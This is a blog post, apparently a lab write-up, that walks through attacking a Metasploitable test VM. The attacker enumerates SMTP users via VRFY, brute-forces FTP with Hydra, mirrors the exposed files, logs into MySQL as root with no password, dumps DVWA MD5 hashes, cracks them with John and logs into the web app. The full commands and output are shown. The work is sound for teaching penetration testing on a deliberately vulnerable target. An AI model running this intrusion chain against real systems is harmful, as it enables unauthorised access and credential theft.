October 2, 2026
Network Pentesting Methodology โ Part 2: From SMTP Enumeration to FTP Access
The tool said 0 users. Manual testing said otherwise.
By Nadana
9 min read
That mismatch turned a simple SMTP enumeration into a much better lesson: tools are only useful if you understand what they are actually doing.
After debugging the timeout, the same scan returned 31 valid usernames.
What is SMTP?
SMTP, or Simple Mail Transfer Protocol, is basically the protocol mail servers use to send email.
From a pentesting perspective, the interesting part is not just that port 25 is open. The server may also reveal information about its software, hostname, supported features, authentication methods, and sometimes even valid usernames.
Starting with SMTP
I started with a simple banner grab:
nc -nv 192.168.195.128 25nc -nv 192.168.195.128 25The server responded with:
220 metasploitable.localdomain ESMTP Postfix (Ubuntu)220 metasploitable.localdomain ESMTP Postfix (Ubuntu)So port 25 was open, Postfix was running, and SMTP was ready for further enumeration.
Checking Server Capabilities
Inside the SMTP session, I sent:
EHLO tester.localEHLO tester.localThe server returned:
250-metasploitable.localdomain
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-STARTTLS
250-ENHANCEDSTATUSCODES
250-8BITMIME
250 DSN250-metasploitable.localdomain
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-STARTTLS
250-ENHANCEDSTATUSCODES
250-8BITMIME
250 DSNThe most interesting capability was:
VRFYVRFYThat meant the server could potentially reveal whether a local username existed.
Manual VRFY Testing
Before using an automated tool, I tested the behavior manually:
VRFY root
VRFY nonexistentuser12345
VRFY www-data
VRFY nobodyVRFY root
VRFY nonexistentuser12345
VRFY www-data
VRFY nobodyThe responses were:
252 2.0.0 root
550 5.1.1 <nonexistentuser12345>: Recipient address rejected: User unknown in local recipient table
252 2.0.0 www-data
252 2.0.0 nobody252 2.0.0 root
550 5.1.1 <nonexistentuser12345>: Recipient address rejected: User unknown in local recipient table
252 2.0.0 www-data
252 2.0.0 nobodySo the pattern was clear:
252 2.0.0 โ valid user
550 5.1.1 โ invalid user252 2.0.0 โ valid user
550 5.1.1 โ invalid userNow I had a reliable manual baseline before automating the process.
When Automation Returned 0 Results
I moved to smtp-user-enum:
smtp-user-enum -M VRFY \
-U /usr/share/wordlists/metasploit/unix_users.txt \
-t 192.168.195.128smtp-user-enum -M VRFY \
-U /usr/share/wordlists/metasploit/unix_users.txt \
-t 192.168.195.128The result was:
0 results.0 results.That did not match the manual evidence.
I had already confirmed that users such as root, www-data, and nobody existed, so the next step was to debug the tool instead of trusting the output.
Debugging the Tool
I checked the tool options:
smtp-user-enum --help 2>&1 | head -40smtp-user-enum --help 2>&1 | head -40The important flags were:
-w n โ wait a maximum of n seconds for reply
-m n โ maximum number of worker processes-w n โ wait a maximum of n seconds for reply
-m n โ maximum number of worker processesThe issue was the timeout.
Using:
-w 1-w 1meant the tool only waited one second for a response.
That explained why valid users were showing as:
<no result><no result>Running It Again
I re-ran the scan with a longer timeout:
smtp-user-enum -M VRFY \
-U /usr/share/wordlists/metasploit/unix_users.txt \
-t 192.168.195.128 \
-w 15 \
-m 5smtp-user-enum -M VRFY \
-U /usr/share/wordlists/metasploit/unix_users.txt \
-t 192.168.195.128 \
-w 15 \
-m 5This time, the tool started identifying valid usernames:
root exists
postgres exists
service exists
user exists
www-data exists
msfadmin exists
...root exists
postgres exists
service exists
user exists
www-data exists
msfadmin exists
...The final result was:
31 results.31 results.So the same enumeration that first returned nothing worked once the timeout was corrected.
Not Every Valid User Is Useful
VRFY Only confirms that an account exists.
It does not mean every account can log in interactively.
Some of the more interesting candidates were:
msfadmin
user
root
postgres
mysql
servicemsfadmin
user
root
postgres
mysql
serviceThe rest included many system and daemon accounts.
So the next step is not to blindly reuse all 31 usernames, but to filter them before testing other services.
Reusing the Username List Against FTP
After the SMTP enumeration returned 31 usernames, the next step was to decide which of them were actually worth testing against another service.
Instead of using all 31 accounts, I created a smaller list of login candidates:
cat > /tmp/login_users.txt <<'EOF'
msfadmin
user
root
postgres
mysql
service
ftp
EOFcat > /tmp/login_users.txt <<'EOF'
msfadmin
user
root
postgres
mysql
service
ftp
EOFThen I confirmed the list:
wc -l /tmp/login_users.txtwc -l /tmp/login_users.txtResult:
7 /tmp/login_users.txt7 /tmp/login_users.txtThis gave me a much smaller set of accounts to test against services that actually accept credentials.
Trying the Users Against FTP
I created a short password list from SecLists:
head -50 ~/SecLists/Passwords/Common-Credentials/500-worst-passwords.txt > /tmp/top50.txthead -50 ~/SecLists/Passwords/Common-Credentials/500-worst-passwords.txt > /tmp/top50.txtThen I used Hydra against FTP:
hydra -L /tmp/login_users.txt \
-P /tmp/top50.txt \
-t 8 -f \
ftp://192.168.195.128hydra -L /tmp/login_users.txt \
-P /tmp/top50.txt \
-t 8 -f \
ftp://192.168.195.128Hydra returned:
[21][ftp] host: 192.168.195.128 login: ftp password: 123456[21][ftp] host: 192.168.195.128 login: ftp password: 123456At first, that looked like a valid credential pair.
But I wanted to confirm it manually.
Manually Validating the FTP Result
I connected to the FTP service:
ftp 192.168.195.128ftp 192.168.195.128Then logged in as:
Username: ftp
Password: literally_anything_hereUsername: ftp
Password: literally_anything_hereThe server still returned:
230 Login successful.230 Login successful.That meant the Hydra result needed to be interpreted carefully.
The important point was not that 123456 was the real password.
The important point was that the ftp account was accepting authentication regardless of the password value I entered.
This is exactly why automated results should be manually validated.
After logging in, I checked the directory:
ftp> ls
ftp> ls -la
ftp> pwdftp> ls
ftp> ls -la
ftp> pwdThe FTP root was:
//and the directory was essentially empty.
Trying to move into another directory also failed:
ftp> cd tmp
550 Failed to change directory.ftp> cd tmp
550 Failed to change directory.So this path did not immediately expose anything useful.
Testing Username-as-Password Reuse
Since the SMTP enumeration had already given me a list of valid usernames, I also tested a simple username-as-password pattern:
hydra -L /tmp/login_users.txt \
-P /tmp/login_users.txt \
-t 8 -f \
ftp://192.168.195.128hydra -L /tmp/login_users.txt \
-P /tmp/login_users.txt \
-t 8 -f \
ftp://192.168.195.128This time Hydra returned:
[21][ftp] host: 192.168.195.128 login: msfadmin password: msfadmin[21][ftp] host: 192.168.195.128 login: msfadmin password: msfadminI validated that manually:
ftp 192.168.195.128ftp 192.168.195.128Using:
Username: msfadmin
Password: msfadminUsername: msfadmin
Password: msfadminThe login succeeded:
230 Login successful.230 Login successful.This time, the directory listing was different:
drwxr-xr-x 6 1000 1000 4096 Apr 28 2010 vulnerabledrwxr-xr-x 6 1000 1000 4096 Apr 28 2010 vulnerableSo unlike the ftp account, the msfadmin account exposed a directory called:
vulnerablevulnerableThat gave me a much more interesting path to continue exploring.
Pulling the FTP Data Locally
After confirming that msfadmin:msfadmin worked over FTP, I wanted to inspect the exposed files properly without staying inside the FTP session.
Instead of downloading files one by one, I used lftp to mirror the entire vulnerable directory locally:
lftp -u msfadmin,msfadmin 192.168.195.128lftp -u msfadmin,msfadmin 192.168.195.128Then:
mirror vulnerablemirror vulnerableThe transfer completed successfully:
Total: 39 directories, 689 files, 0 symlinks
New: 689 files, 0 symlinks
125801878 bytes transferred in 6 secondsTotal: 39 directories, 689 files, 0 symlinks
New: 689 files, 0 symlinks
125801878 bytes transferred in 6 secondsSo the FTP access was not just a valid login anymore โ it gave me a full local copy of the exposed data.
After exiting lftp, I moved into the downloaded directory:
cd vulnerable
lscd vulnerable
lsThe directory contained:
mysql-ssl
samba
tikiwiki
twiki20030201mysql-ssl
samba
tikiwiki
twiki20030201That immediately gave me several new areas to investigate.
Following the MySQL Path
While reviewing the files downloaded from the FTP share, one directory immediately stood out:
mysql-sslmysql-sslInside it, I found a MySQL configuration file:
cat mysql-ssl/my.cnfcat mysql-ssl/my.cnfThe relevant part of the output was:
[mysqld]
datadir=/var/lib/mysql
socket=/var/lib/mysql/mysql.sock
user=mysql
old_passwords=1
ssl-ca=/etc/mysql-keys/ca-cert.pem
ssl-cert=/etc/mysql-keys/server-cert.pem
ssl-key=/etc/mysql-keys/server-key.pem[mysqld]
datadir=/var/lib/mysql
socket=/var/lib/mysql/mysql.sock
user=mysql
old_passwords=1
ssl-ca=/etc/mysql-keys/ca-cert.pem
ssl-cert=/etc/mysql-keys/server-cert.pem
ssl-key=/etc/mysql-keys/server-key.pemThis confirmed a few useful things:
- MySQL was running on the target
- The database files were stored under
/var/lib/mysql - The server was configured with SSL-related options
- The configuration was old enough to still use
old_passwords=1
The next step was to test whether the MySQL service was reachable remotely.
First Connection Attempt
I tried connecting as root:
mysql -h 192.168.195.128 -u rootmysql -h 192.168.195.128 -u rootThe result was:
ERROR 2026 (HY000): TLS/SSL error: wrong version numberERROR 2026 (HY000): TLS/SSL error: wrong version numberI tried the mysql user as well:
mysql -h 192.168.195.128 -u mysqlmysql -h 192.168.195.128 -u mysqland received the same TLS error.
The service was reachable, but the client was trying to negotiate SSL in a way the old MySQL server did not handle correctly.
So I retried with SSL disabled.
Connecting Without SSL
I used:
mysql -h 192.168.195.128 -u root --skip-sslmysql -h 192.168.195.128 -u root --skip-sslThis time, the connection succeeded:
Welcome to the MariaDB monitor.
Your MySQL connection id is 11
Server version: 5.0.51a-3ubuntu5 (Ubuntu)Welcome to the MariaDB monitor.
Your MySQL connection id is 11
Server version: 5.0.51a-3ubuntu5 (Ubuntu)The important part here was that I connected as:
rootrootwithout being asked for a password.
That immediately made the MySQL service much more interesting.
Checking MySQL Accounts
Once connected, I queried the MySQL user table:
SELECT user, host, password FROM mysql.user;SELECT user, host, password FROM mysql.user;The result was:
+------------------+------+----------+
| user | host | password |
+------------------+------+----------+
| debian-sys-maint | | |
| root | % | |
| guest | % | |
+------------------+------+----------++------------------+------+----------+
| user | host | password |
+------------------+------+----------+
| debian-sys-maint | | |
| root | % | |
| guest | % | |
+------------------+------+----------+The root account had:
host = %
password = emptyhost = %
password = emptyThat means the database root account was configured to accept remote connections without a password.
So the path was now:
MySQL discovered
โ
SSL negotiation failed
โ
Connection retried with --skip-ssl
โ
Remote root login succeeded
โ
Root password field confirmed emptyMySQL discovered
โ
SSL negotiation failed
โ
Connection retried with --skip-ssl
โ
Remote root login succeeded
โ
Root password field confirmed emptyEnumerating the Databases
I listed the available databases:
SHOW DATABASES;SHOW DATABASES;The server returned:
+--------------------+
| Database |
+--------------------+
| information_schema |
| dvwa |
| metasploit |
| mysql |
| owasp10 |
| tikiwiki |
| tikiwiki195 |
+--------------------++--------------------+
| Database |
+--------------------+
| information_schema |
| dvwa |
| metasploit |
| mysql |
| owasp10 |
| tikiwiki |
| tikiwiki195 |
+--------------------+There were several interesting application databases available.
I decided to start with:
dvwadvwaExploring the DVWA Database
I selected the database:
USE dvwa;USE dvwa;Then listed its tables:
SHOW TABLES;SHOW TABLES;The result was:
+----------------+
| Tables_in_dvwa |
+----------------+
| guestbook |
| users |
+----------------++----------------+
| Tables_in_dvwa |
+----------------+
| guestbook |
| users |
+----------------+The users table was the obvious next place to inspect.
I queried it with:
SELECT * FROM users;SELECT * FROM users;The result was:
+---------+------------+-----------+---------+----------------------------------+-------------------------------------------------------+
| user_id | first_name | last_name | user | password | avatar |
+---------+------------+-----------+---------+----------------------------------+-------------------------------------------------------+
| 1 | admin | admin | admin | 5f4dcc3b5aa765d61d8327deb882cf99 | http://172.16.123.129/dvwa/hackable/users/admin.jpg |
| 2 | Gordon | Brown | gordonb | e99a18c428cb38d5f260853678922e03 | http://172.16.123.129/dvwa/hackable/users/gordonb.jpg |
| 3 | Hack | Me | 1337 | 8d3533d75ae2c3966d7e0d4fcc69216b | http://172.16.123.129/dvwa/hackable/users/1337.jpg |
| 4 | Pablo | Picasso | pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 | http://172.16.123.129/dvwa/hackable/users/pablo.jpg |
| 5 | Bob | Smith | smithy | 5f4dcc3b5aa765d61d8327deb882cf99 | http://172.16.123.129/dvwa/hackable/users/smithy.jpg |
+---------+------------+-----------+---------+----------------------------------+-------------------------------------------------------++---------+------------+-----------+---------+----------------------------------+-------------------------------------------------------+
| user_id | first_name | last_name | user | password | avatar |
+---------+------------+-----------+---------+----------------------------------+-------------------------------------------------------+
| 1 | admin | admin | admin | 5f4dcc3b5aa765d61d8327deb882cf99 | http://172.16.123.129/dvwa/hackable/users/admin.jpg |
| 2 | Gordon | Brown | gordonb | e99a18c428cb38d5f260853678922e03 | http://172.16.123.129/dvwa/hackable/users/gordonb.jpg |
| 3 | Hack | Me | 1337 | 8d3533d75ae2c3966d7e0d4fcc69216b | http://172.16.123.129/dvwa/hackable/users/1337.jpg |
| 4 | Pablo | Picasso | pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 | http://172.16.123.129/dvwa/hackable/users/pablo.jpg |
| 5 | Bob | Smith | smithy | 5f4dcc3b5aa765d61d8327deb882cf99 | http://172.16.123.129/dvwa/hackable/users/smithy.jpg |
+---------+------------+-----------+---------+----------------------------------+-------------------------------------------------------+At this point, the database had exposed several application password hashes.
The hashes were 32 hexadecimal characters long, which matched raw MD5 format.
Preparing the Hashes for Offline Cracking
I saved the unique hashes into a file:
cat > /tmp/dvwa_hashes.txt <<'EOF'
5f4dcc3b5aa765d61d8327deb882cf99
e99a18c428cb38d5f260853678922e03
8d3533d75ae2c3966d7e0d4fcc69216b
0d107d09f5bbe40cade3de5c71e9e9b7
EOFcat > /tmp/dvwa_hashes.txt <<'EOF'
5f4dcc3b5aa765d61d8327deb882cf99
e99a18c428cb38d5f260853678922e03
8d3533d75ae2c3966d7e0d4fcc69216b
0d107d09f5bbe40cade3de5c71e9e9b7
EOFCracking the DVWA Password Hashes
With the wordlist ready, I ran John again:
john --format=raw-md5 \
--wordlist=/usr/share/wordlists/rockyou.txt \
/tmp/dvwa_hashes.txtjohn --format=raw-md5 \
--wordlist=/usr/share/wordlists/rockyou.txt \
/tmp/dvwa_hashes.txtThe hashes were cracked almost immediately:
password
abc123
letmein
charleypassword
abc123
letmein
charleyJohn reported:
4 password hashes cracked, 0 left4 password hashes cracked, 0 leftThe recovered values were:
5f4dcc3b5aa765d61d8327deb882cf99 โ password
e99a18c428cb38d5f260853678922e03 โ abc123
8d3533d75ae2c3966d7e0d4fcc69216b โ charley
0d107d09f5bbe40cade3de5c71e9e9b7 โ letmein5f4dcc3b5aa765d61d8327deb882cf99 โ password
e99a18c428cb38d5f260853678922e03 โ abc123
8d3533d75ae2c3966d7e0d4fcc69216b โ charley
0d107d09f5bbe40cade3de5c71e9e9b7 โ letmeinSince the admin and smithy users shared the same hash, both were using the same password:
passwordpassword
What the MySQL Path Revealed
This path started from a configuration file found inside the FTP data and ended with full remote database access.
The full chain became:
FTP data downloaded
โ
mysql-ssl/my.cnf discovered
โ
MySQL service tested
โ
TLS error encountered
โ
--skip-ssl used
โ
Remote root login succeeded
โ
Empty MySQL root password confirmed
โ
Databases enumerated
โ
DVWA users table accessed
โ
MD5 password hashes extracted
โ
Hashes cracked offlineFTP data downloaded
โ
mysql-ssl/my.cnf discovered
โ
MySQL service tested
โ
TLS error encountered
โ
--skip-ssl used
โ
Remote root login succeeded
โ
Empty MySQL root password confirmed
โ
Databases enumerated
โ
DVWA users table accessed
โ
MD5 password hashes extracted
โ
Hashes cracked offlineThe interesting part here was how one piece of information led naturally into another.
The MySQL configuration file did not contain a password directly, but it pointed to a service worth testing.
That service then exposed the database as root without authentication, which eventually led to application credentials.
Pivoting from the Database to the DVWA Web App
While reviewing the dvwa.users table, I noticed that each user record also contained an avatar path such as:
/dvwa/hackable/users/admin.jpg/dvwa/hackable/users/admin.jpgThat gave me a useful clue about the web application structure, so I decided to enumerate the DVWA directory on the target and see what other accessible paths were exposed.
I ran Gobuster against:
gobuster dir \
-u http://192.168.195.128/dvwa \
-w ~/SecLists/Discovery/Web-Content/raft-medium-directories.txt \
-t 30 \
-x php,html,txt,bak \
-o /tmp/gobuster-medium.txtgobuster dir \
-u http://192.168.195.128/dvwa \
-w ~/SecLists/Discovery/Web-Content/raft-medium-directories.txt \
-t 30 \
-x php,html,txt,bak \
-o /tmp/gobuster-medium.txtThe scan revealed several interesting endpoints, including:
login.php (Status: 200)
setup.php (Status: 200)
docs/ (Status: 301)
config/ (Status: 301)
README (Status: 200)
robots.txt (Status: 200)
CHANGELOG.txt (Status: 200)login.php (Status: 200)
setup.php (Status: 200)
docs/ (Status: 301)
config/ (Status: 301)
README (Status: 200)
robots.txt (Status: 200)
CHANGELOG.txt (Status: 200)The most useful result at this point was login.php.
Earlier, the DVWA database had already exposed the admin account and its password hash. After recovering the password, I tested the credentials against the DVWA login page.
Username: admin
Password: passwordUsername: admin
Password: passwordThe login was successful.
This was a good example of how information gathered from one service can lead directly into another part of the target. MySQL did not just expose database records; it also gave me usernames, password hashes, and application paths that helped guide the next step.
Takeaway
The important part here was the chain:
MySQL access
โ
DVWA users table
โ
Usernames + password hashes + avatar paths
โ
Web directory enumeration
โ
DVWA login page
โ
Successful login with recovered credentialsMySQL access
โ
DVWA users table
โ
Usernames + password hashes + avatar paths
โ
Web directory enumeration
โ
DVWA login page
โ
Successful login with recovered credentialsInstead of treating each service separately, I kept reusing information from one finding to decide what to test next.